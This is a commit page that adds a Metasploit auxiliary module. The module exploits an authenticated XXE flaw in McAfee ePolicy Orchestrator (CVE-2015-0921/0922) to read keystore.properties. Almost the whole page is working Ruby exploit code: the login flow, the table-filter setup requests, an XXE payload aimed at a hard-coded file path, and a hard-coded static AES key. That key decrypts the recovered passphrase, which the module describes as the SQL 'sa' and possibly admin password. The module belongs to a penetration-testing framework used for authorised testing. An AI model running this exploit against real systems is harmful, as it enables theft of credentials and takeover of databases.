Land #4586, mcafee_epo_xxe aux module
commit
84ecde30d1
|
@ -0,0 +1,259 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'openssl'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure',
|
||||
'Description' => %q{
|
||||
This module will exploit an authenticated XXE vulnerability to read the keystore.properties
|
||||
off of the filesystem. This properties file contains an encrypted password that is set during
|
||||
installation. What is interesting about this password is that it is set as the same password
|
||||
as the database 'sa' user and of the admin user created during installation. This password
|
||||
is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default,
|
||||
if installed with a local SQL Server instance, the SQL server is listening on all interfaces.
|
||||
|
||||
Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server
|
||||
user in order to achieve remote command execution with permissions of the database process. If
|
||||
the administrator has no changed the password for the initially created account since installation,
|
||||
the attacker also now has the password for this account. By default, 'admin' is recommended.
|
||||
|
||||
Any user account can be used to exploit this, all that is needed is a pair of credentials.
|
||||
|
||||
The most data that can be successfully retrieved is 255 characters due to length restrictions
|
||||
on the field used to perform the XXE attack.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' #metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0921'],
|
||||
['CVE', '2015-0922'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2015/Jan/8']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 6 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8443),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']),
|
||||
OptString.new('USERNAME', [true, "The username to authenticate with", "username"]),
|
||||
OptString.new('PASSWORD', [true, "The password to authenticate with", "password"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used
|
||||
|
||||
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk
|
||||
aes.decrypt
|
||||
aes.padding=1
|
||||
aes.key = key
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do')
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'j_username' => datastore['USERNAME'],
|
||||
'j_password' => datastore['PASSWORD']
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'),
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
if res.code != 302
|
||||
fail_with(Failure::Unknown, 'Authentication failed')
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
#This vuln requires a bit of setup before we can exploit it
|
||||
|
||||
print_status("Setting up environment for exploitation")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'),
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'),
|
||||
'vars_get' => {
|
||||
'sectionId' => 'orion.automation',
|
||||
'tabId' => 'orion.tasklog',
|
||||
'orion.user.security.token' => auth_token
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'),
|
||||
'vars_get' => {
|
||||
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
|
||||
'filter' => 'scheduler.tasklog.filter.day',
|
||||
'secondaryFilter' => '',
|
||||
'tableCellRendererAttr' => 'taskLogCellRenderer',
|
||||
'count' => 44,
|
||||
'sortProperty' => 'OrionTaskLogTask.StartDate',
|
||||
'sortOrder' => 1,
|
||||
'id' => 'taskLogTable'
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),
|
||||
'vars_get' => {
|
||||
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
|
||||
'tableId' => 'taskLogTable',
|
||||
'orion.user.security.token' => auth_token
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'dataSourceAttr' => 'scheduler.tasklog.datasource.attr',
|
||||
'tableId' => 'taskLogTable',
|
||||
'columnWidths' => '285,285,285,285,285,285,285,285',
|
||||
'sortColumn' => 'OrionTaskLogTask.StartDate',
|
||||
'sortOrder' => '1',
|
||||
'showFilters' => 'true',
|
||||
'currentIndex' => 0,
|
||||
'orion.user.security.token' => auth_token,
|
||||
'ajaxMode' => 'standard'
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'displayType' => 'text_lookup',
|
||||
'operator' => 'eq',
|
||||
'propKey' => 'OrionTaskLogTask.Name',
|
||||
'instanceId' => 0,
|
||||
'orion.user.security.token' => auth_token,
|
||||
'ajaxMode' => 'standard'
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
print_status("Sending payload...")
|
||||
|
||||
filepath = "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"
|
||||
xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///'+filepath+'" >]><conditions><condition grouping="or"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>'
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'orion.user.security.token' => auth_token,
|
||||
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
|
||||
'tableId' => 'taskLogTable',
|
||||
'conditionXML' => xxe,
|
||||
'secondaryFilter' => '',
|
||||
'op' => 'eq',
|
||||
'ajaxMode' => 'standard'
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
fail_with(Failure::Unknown, "Server likely has mitigation in place")
|
||||
end
|
||||
|
||||
print_status("Getting encrypted passphrase value from keystore.properties file...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'),
|
||||
'vars_get' => {
|
||||
'datasourceAttr' => 'scheduler.tasklog.datasource.attr',
|
||||
'tableId' => 'taskLogTable',
|
||||
'orion.user.security.token' => auth_token
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, "Server did not respond in an expected way")
|
||||
end
|
||||
|
||||
passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/
|
||||
|
||||
passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+")
|
||||
|
||||
print_status("Base64 encoded encrypted passphrase: #{passphrase}")
|
||||
|
||||
passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final
|
||||
|
||||
print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: #{passphrase}")
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue